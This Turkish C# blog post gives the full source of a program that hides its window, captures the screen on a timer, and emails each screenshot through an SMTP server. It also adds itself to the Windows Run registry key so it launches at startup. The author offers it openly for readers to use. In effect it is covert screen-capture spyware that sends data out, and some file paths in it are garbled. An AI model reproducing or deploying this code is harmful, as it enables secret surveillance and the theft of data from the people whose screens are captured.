ekran görüntüsünü çekip mail gönderme

ekran görüntüsünü çekip mail gönderme

  • 6,810 Kez Okundu
  • C#
  • 1 Yorum
  • 2015-07-11 03:21:10

Formda Bulunması Gerekenler;

  1. 1 adet Timer
  2. 1 adet notifyIcon 

Başka bir şey yok . Basit Bir Uygulama Geliştirilip Kullanılması Size Kalmış :)

 

 

public Form1()
        {
          
            InitializeComponent();
            timer1.Interval = 3000000;
            timer1.Enabled = true;
            notifyIcon1.Text = "Ekranın güzel.";
            this.Visible = false;
        }
        private  Bitmap Ekranim;
        private  Graphics grafik;
        private void timer1_Tick(object sender, EventArgs e)
        {
            Ekranim = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
            // ana ekran boyutlarında bir Bitmap nesnesi tanımladık
            grafik = Graphics.FromImage(Ekranim);
            grafik.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, CopyPixelOperation.SourceCopy);
            // ekran görüntüsünü aldık.
            DateTime dt = DateTime.Now;
            string tarih = dt.ToShortDateString().ToString();
            string saat = dt.ToShortTimeString().ToString();
            tarih = tarih.Replace('.', '_');
            saat = saat.Replace(':', '_');
            string tarihsaat = tarih + "-" + saat;
            // Resimin tarih ve saat ile tutulmasını istedik bunun için de . ve :'dan kurtuldum.
            
            Ekranim.Save(@"C:UsersmtliveDesktop" + tarihsaat + ".Jpeg", ImageFormat.Jpeg);
            // C:UsersmtliveDesktop benim dosyayı kaydettiğim dizin.
            string Mesaj = "Ekranın";
            string dosya = String.Format(@"C:UsersmtliveDesktop{0}.Jpeg",tarihsaat);
            MailGonder("[email protected]", "Ekran görüntüsü", Mesaj,dosya);
            // buradaki mail adresi ile kime gideceğini belirttik
            // mail ile gönderdik. Resimler ek olarak geliyor.
        }
        public void MailGonder(string kime, string konu, string mesaj,string resim)
        {
            SmtpClient client = new SmtpClient();
            MailMessage msg = new MailMessage();
            // her hangi bir ihtimale karşı resim null gelirse kalmasın diye bir kontrol yaptık.
            if (resim != null)
                {
                    Attachment eklenecekdosya = new Attachment(resim);
                    msg.Attachments.Add(eklenecekdosya);
                }
            msg.From = new MailAddress("[email protected]","Goruntu");
            msg.To.Add(kime);
            msg.Subject = konu;
            msg.IsBodyHtml = true;
            msg.Body = mesaj;
            msg.BodyEncoding = System.Text.Encoding.GetEncoding(1254);
            client.Credentials = new NetworkCredential("[email protected]", "mail şifresi yazılacak");
            // [email protected] yerine kendi mailinizi ve şifrenizi yazmanız yeterli
            client.Port = 587;
            client.Host = "smtp.live.com";
            client.EnableSsl = true;
            client.Send(msg);
        }
        private void Form1_Load(object sender, EventArgs e)
        {
            RegistryKey key = Registry.CurrentUser.OpenSubKey(@"SoftwareMicrosoftWindowsCurrentVersionRun", true);
            key.SetValue("ekranGoruntu.exe", Application.StartupPath);
            // bu kod ile programın başlangıçta çalışmasını sağlıyoruz
        }
        private void notifyIcon1_MouseDoubleClick(object sender, MouseEventArgs e)
        {
            Application.Exit();
        }


 

 

Mustafa Değirmenci
@Mustafa Değirmenci demiş ki ;

Keşke hangi kütüphaneleri kullandığınızıda yazsaydınız.

YORUM YAPMAK İSTER MİSİN?

    Sponsor Reklamlar
    Son Yorumlar
    Etiket Bulutu
    C#PopupFormOtomatikProgramBaşlatmaBaşlangıçBasitEkran Koruyucuc#ekran görüntüsümail göndermeexedllbirleştirmekIL MergePhpMSSQL BAĞLANTIGerçekIPRealTextBinaryConvertÇalışmaSüreHesaplamakBulmakCssjQueryHtmlScroll TopYukarı ÇıkOnMinimizeControlBoxSimge DurumunaKüçültInternetGetConnectedStateİnternetBağlantıKontrolŞifre MatikPassword GeneratorHash ŞifrelemeMD5SHA1SHA256SHA384SHA512Asimetrik ŞifrelemeRSASimetrik ŞifrelemeKriptoŞifrelemeAlgoritmaDESRC2RijndaelTripleDESKeyLogKlavye DinleTuş YakalamaGlobal HookDialogResultÇıkış MesajıUyarı MesajıFormClosingMySQLConnector/NetKullanımSoruCheckBoxListViewÇoklu SilmebiosdramexploitkontrolgüvenlikinteljavascriptrowhammerscriptPHPAdmin PanelResponsiveXtbadminFreeÜcretsizWifiWirelessKeysŞifreAnahtarPasswordKablosuz AğDepolamaŞifreler NeredeKablosuz ŞifreAndroidTelefonNasılYazılırProgramlama DiliHesap MakinesiSEONedirNasıl YapılırAnalizGoogleLinkÖzgünMobilKonuResim Robots.txtSite MapŞifreli GirişŞifreli FormŞifre KoymaŞifreli AçılışCompilingDebuggingDerlemeKarma ModMixed ModeApp.ConfigKurbanBayramMübarek OlsunBlogScriptYonetimAdminPanelText EditorMSHTMLEditorYazıDüzenleyiciEasyAppKolayUygulamaÇalıştırmaAkıllı TelefonKlavyeiOSKeyboardEl YazısıCalculatorMyScriptHand WritingDosya YöneticisiFile ExplorerFTPBluetoothRootTask ManagerGörev YöneticisiSystemTargetWeb Application PentestErrorShowHideHataGösterGizlePDOSelectInsertUpdateDeleteConnectSeçimEklemeSilmeGüncellemeMsSQLVeritabanıÇeviriçiDatabaseConverterDbConvertMaskeli IPGerçek IPTarayıcı Tespitİşletim Sistemi TespitTekil Ziyaretçi BilgileriAktif Ziyaretçi BilgileriZiyaretçi SayacıVirüsTemizlemeFirewallServiceSecurityServiceTimeServicePentestGüvenliksızma TestiuniscanwindowslinuxperlDosyaKlasörListelemekFileFolderListInternetDownloadUploadSpeedMonitorServisMsconfigStartupRunServiceIOSMatematikDenklemÇözümKameraKablosuzinternetHotspotPaylaşımAyarlarKaliLinuxSharedTerminalÖsymDuyuruTimeTimeZoneDateZamanTarihdate()time()FreelancerSerbestÇalışanJobsİşlerWebSiteVersionSürümGeçişUbuntuSunucuApachephpinfo()phpversion()FonksiyonHerseyiKopyalacopyallcopySızma TestiSQLMapWindowsPython810HotSpotWi-FiWlannetshhostednetworkAutoWlanJsGeri SayımTextAreaOtomatik KayıtSayacSaniyeCountDownXtbadminV2AjaxJavaScriptNumaraFormatPhoneNumberFormatTelefonNumarasıDebuggerDetectUnpackerDisassemblerSecurityReverseEngineeringAlgorithmMacDKHOSCTFCapture The FlagForensicTriviaIntelligenceCRC32CRYPTPASSWORD_HASHWin10StoreMağazaMicrosoftReInstallWSLPowerShellPOSTCyberSiberAdli BilişimHackerUSBCDLiveToolsBruterNmapMSSQL ServerMS SQL ExpressMS AccessOracleIBM DB2SybaseInterbaseInformixExceldBase DbfVisual FoxProMySQLConnectionŞifreleri BulCMDLaZagneEthernetTuxCutNetCutNetKillPerformansCronTabCronJobRestartStopStartBashShellWireSharkFlagUSOMBTKBase64QRÇözümlerWriteUpWrite-UpFinalReconOSINTToolScannerWebsiteSiber GüvenlikPhishingVPNWannacryMobileDeviceFunctionMobil AlgılaMobil TespitisMobilephp mobilJavascriptYazı EfektKayan YazıText EffectsearchBoxinputclassplaceholdersetIntervalsetTimeoutJSpreventBackwindowpushStatehistoryonloadblock browser back buttonVPN Nediranonimtorucuz ürünucuzurunum.commarket kıyaslaürün kıyaslakıyaslakarşılaştıra101şokhappy centermigroscarrefoursabizim marketkıyasürün fiyatıfiyat kıyaslaucuz fiyatfiyat sorVideoEmbedPlayerVideoIDgetVideoIDIframeCreditCardCard DetectKart AlgılaKart TespitKredi Kartı TespitVisaMastercardAIOpenAIChatGPTYapay Zekaquickchatkrispbeatovencleanvoicepodcastleflairillustrokepatternedstockimgcopymonkeyocoyaunbouncevidyotrymaverickquickchatpuzzlelabssounddrawcleanupresumewordedlookatheresanaiforthatsynthesiadescriptotterinkforall